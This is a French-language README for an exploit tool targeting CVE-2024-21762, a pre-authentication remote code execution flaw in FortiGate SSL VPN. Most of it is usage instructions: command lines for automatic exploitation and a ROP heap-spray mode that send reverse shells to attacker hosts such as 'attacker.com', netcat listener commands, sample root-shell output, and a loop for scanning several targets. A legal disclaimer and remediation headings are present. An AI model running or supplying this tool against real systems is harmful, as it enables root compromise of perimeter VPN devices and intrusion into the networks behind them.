
Détecte et exploite la CVE-2024-21762, une RCE pré-authentification dans FortiGate SSL VPN, avec validation de référence, exploitation automatique, mode ROP heap-spray et reverse shell.
Outil de détection et d'exploitation pour CVE-2024-21762 - Vulnérabilité critique dans FortiGate SSL VPN
⚠️ AVERTISSEMENT LÉGAL : Cet outil est exclusivement destiné à une utilisation dans des environnements de test autorisés. Toute utilisation non autorisée sur des systèmes est ILLÉGALE et peut entraîner de graves conséquences juridiques.
CVE-2024-21762 est une vulnérabilité critique dans les composants FortiGate SSL VPN qui permet une exécution de code à distance (RCE) sans authentification préalable. Le défaut réside dans un parsing vulnérable des requêtes HTTP avec Transfer-Encoding chunked, entraînant une écriture hors limites dans le composant sslvpnd.
| Attribut | Information |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnérabilité | Out-of-bounds write dans sslvpnd |
| Type | Exécution de code à distance (RCE) sans authentification |
| Score CVSS | 9.8 (Critique) |
| Composant affecté | FortiOS SSL VPN |
| Versions vulnérables | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Détection de vulnérabilité - Identifie les FortiGate vulnérables via des requêtes malformées
✅ Test de référence - Vérifie le comportement normal du serveur avant les tests
✅ Mode automatique - Détecte la vulnérabilité et l'exploite automatiquement
✅ Reverse Shell - Prend en charge un reverse shell bash avec configuration IP/port
✅ Validation des entrées - Valide les adresses IP et les ports avant l'exploitation
✅ Rapports détaillés - Génère des rapports avec des recommandations de correction
✅ Gestion robuste des erreurs - Gestion sécurisée des connexions et des exceptions
# Clonez le dépôt
git clone https://github.com/votre-utilisateur/CVE-2024-21762.git
cd CVE-2024-21762
# Vérifiez la syntaxe
python -m py_compile EXPLOIT.py
# Exécutez le script
python EXPLOIT.py -h
# Test de détection simple
python EXPLOIT.py 192.168.1.100
# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443
# Avec un délai d'attente augmenté
python EXPLOIT.py 192.168.1.100 --timeout 20
# Mode automatique avec reverse shell préconfiguré
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Mode automatique sans informations d'identification (demande interactive)
python EXPLOIT.py 192.168.1.100 --auto
Le mode ROP implémente une exploitation en deux étapes avec heap spray pour des cibles spécifiques (FortiOS 7.4.2) :
# Exploitation ROP avec reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Avec un port personnalisé
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Avec un délai d'attente augmenté pour les cibles lentes
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Flux d'exploitation ROP :
Sur votre serveur d'écoute :
# Linux/Mac/Windows avec netcat
nc -lnvp 4242
# Sortie attendue :
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Remarque importante : Le mode ROP est optimisé pour FortiOS 7.4.2.F-build2571. D'autres versions peuvent ne pas fonctionner en raison des offsets hardcodés de la chaîne ROP.
# Envoyer une charge utile de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinaison de plusieurs options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Nom d'hôte ou IP de la cible à tester
optional arguments:
-h, --help Affiche ce message d'aide
-t, --target HOSTNAME Nom d'hôte ou IP de la cible (alternatif)
-p, --port PORT Port SSL VPN (défaut : 443)
--timeout SECONDS Délai d'attente en secondes (défaut : 10)
-li, --lhost IP Adresse IP locale pour recevoir le reverse shell
-lp, --lport PORT Port local pour recevoir le reverse shell
--no-baseline Ignorer le test de référence
--auto Mode automatique : détecte et exploite
--rop Mode ROP : exploitation avancée avec heap spray (FortiOS 7.4.2)
-v, --version Affiche la version du script
python EXPLOIT.py 192.168.1.100
Résultat attendu en cas de vulnérabilité :
[+] Démarrage du test de vulnérabilité...
[!] VULNÉRABLE DÉTECTÉ !
[!] Le serveur a fermé la connexion brusquement
[!] STATUT : VULNÉRABLE
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Sur votre serveur :
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
L'outil considère une cible comme vulnérable lorsqu'il détecte l'un des comportements suivants :
| Version | Détection | Mode ROP | Statut |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.2.0 - 7.2.6 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.4.0 - 7.4.1 | ✅ Oui | ❌ Non | ⚠️ VULNÉRABLE |
| FortiOS 7.4.2 (build≤2571) | ✅ Oui | ✅ Oui | ⚠️ VULNÉRABLE |
| FortiOS 7.4.3+ | ❌ Non | ❌ Non | ✅ CORRIGÉ |
Mettre à jour FortiOS vers une version corrigée :
Isolement temporaire
Surveillance